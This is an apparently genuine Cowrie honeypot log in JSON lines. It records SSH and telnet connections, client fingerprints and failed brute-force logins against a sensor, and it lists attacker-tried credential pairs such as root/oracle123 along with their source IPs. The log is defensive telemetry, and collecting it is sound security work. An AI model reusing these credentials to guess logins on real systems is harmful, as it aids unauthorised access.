{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:17.377092Z","src_ip":"103.248.120.6","session":"64764e470e0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pa55Word","message":"login attempt [root/pa55Word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:18.296712Z","src_ip":"103.248.120.6","session":"64764e470e0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:19.520655Z","src_ip":"103.248.120.6","session":"64764e470e0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":41956,"dst_ip":"159.203.135.109","dst_port":22,"session":"76979c934c0b","protocol":"ssh","message":"New connection: 89.223.69.22:41956 (159.203.135.109:22) [session: 76979c934c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:28.481786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:28.487378Z","src_ip":"89.223.69.22","session":"76979c934c0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:28.598596Z","src_ip":"89.223.69.22","session":"76979c934c0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aerosmith","message":"login attempt [root/aerosmith] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:28.932214Z","src_ip":"89.223.69.22","session":"76979c934c0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:30.046276Z","src_ip":"89.223.69.22","session":"76979c934c0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":49242,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8e4dcbfa6c4","protocol":"ssh","message":"New connection: 31.179.197.26:49242 (159.203.135.109:22) [session: a8e4dcbfa6c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:32.890514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:32.893880Z","src_ip":"31.179.197.26","session":"a8e4dcbfa6c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:33.000463Z","src_ip":"31.179.197.26","session":"a8e4dcbfa6c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frontend","password":"frontend","message":"login attempt [frontend/frontend] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:33.461914Z","src_ip":"31.179.197.26","session":"a8e4dcbfa6c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:34.570854Z","src_ip":"31.179.197.26","session":"a8e4dcbfa6c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.202.129","src_port":59844,"dst_ip":"159.203.135.109","dst_port":22,"session":"874272273378","protocol":"ssh","message":"New connection: 192.169.202.129:59844 (159.203.135.109:22) [session: 874272273378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:44.191303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:44.197874Z","src_ip":"192.169.202.129","session":"874272273378","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:44.263985Z","src_ip":"192.169.202.129","session":"874272273378","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle123","message":"login attempt [root/oracle123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:44.463841Z","src_ip":"192.169.202.129","session":"874272273378","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37604,"dst_ip":"159.203.135.109","dst_port":22,"session":"e410d34bcdfc","protocol":"ssh","message":"New connection: 103.176.20.57:37604 (159.203.135.109:22) [session: e410d34bcdfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:44.521644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:44.525973Z","src_ip":"103.176.20.57","session":"e410d34bcdfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:44.772892Z","src_ip":"103.176.20.57","session":"e410d34bcdfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"405060","message":"login attempt [root/405060] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:45.513883Z","src_ip":"103.176.20.57","session":"e410d34bcdfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:45.589049Z","src_ip":"192.169.202.129","session":"874272273378","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:46.762383Z","src_ip":"103.176.20.57","session":"e410d34bcdfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":35160,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ab17f6394c8","protocol":"telnet","message":"New connection: 137.184.5.188:35160 (159.203.135.109:23) [session: 8ab17f6394c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:52.949646Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43314,"dst_ip":"159.203.135.109","dst_port":23,"session":"c610ca3d9013","protocol":"telnet","message":"New connection: 170.64.224.25:43314 (159.203.135.109:23) [session: c610ca3d9013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:50:58.622685Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.249.8","src_port":58120,"dst_ip":"159.203.135.109","dst_port":22,"session":"0781f409c5cd","protocol":"ssh","message":"New connection: 162.144.249.8:58120 (159.203.135.109:22) [session: 0781f409c5cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:51:00.139339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:51:00.143262Z","src_ip":"162.144.249.8","session":"0781f409c5cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:51:00.171220Z","src_ip":"162.144.249.8","session":"0781f409c5cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bahamas","password":"Nassau#Bitc0!n$M@st3r","message":"login attempt [bahamas/Nassau#Bitc0!n$M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:51:00.259867Z","src_ip":"162.144.249.8","session":"0781f409c5cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:51:01.291662Z","src_ip":"162.144.249.8","session":"0781f409c5cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40850,"dst_ip":"159.203.135.109","dst_port":23,"session":"12e76f722f51","protocol":"telnet","message":"New connection: 170.64.224.25:40850 (159.203.135.109:23) [session: 12e76f722f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:51:15.065652Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":56752,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0e07bb03cb2","protocol":"telnet","message":"New connection: 170.64.224.25:56752 (159.203.135.109:23) [session: a0e07bb03cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:51:21.478463Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":37262,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f89e0aa1d24","protocol":"ssh","message":"New connection: 91.92.40.176:37262 (10.17.0.5:22) [session: 8f89e0aa1d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:51:36.248834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:51:36.277951Z","src_ip":"91.92.40.176","session":"8f89e0aa1d24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:51:36.346787Z","src_ip":"91.92.40.176","session":"8f89e0aa1d24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"passw0rd","message":"login attempt [user/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:51:36.919893Z","src_ip":"91.92.40.176","session":"8f89e0aa1d24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:51:38.152666Z","src_ip":"91.92.40.176","session":"8f89e0aa1d24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.360926389694214,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:51:40.983488Z","src_ip":"170.64.224.25","session":"c610ca3d9013","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.382630825042725,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:51:49.860935Z","src_ip":"170.64.224.25","session":"a0e07bb03cb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43200,"dst_ip":"159.203.135.109","dst_port":23,"session":"25e34e34de94","protocol":"telnet","message":"New connection: 170.64.224.25:43200 (159.203.135.109:23) [session: 25e34e34de94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:51:50.946166Z"}
{"eventid":"cowrie.session.closed","duration":62.30304718017578,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:51:55.252567Z","src_ip":"137.184.5.188","session":"8ab17f6394c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.08655333518982,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:51:59.152099Z","src_ip":"170.64.224.25","session":"12e76f722f51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":41068,"dst_ip":"159.203.135.109","dst_port":22,"session":"8db03ee46021","protocol":"ssh","message":"New connection: 80.66.85.226:41068 (159.203.135.109:22) [session: 8db03ee46021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:00.920043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:00.925555Z","src_ip":"80.66.85.226","session":"8db03ee46021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:52:01.019990Z","src_ip":"80.66.85.226","session":"8db03ee46021","protocol":"ssh"}
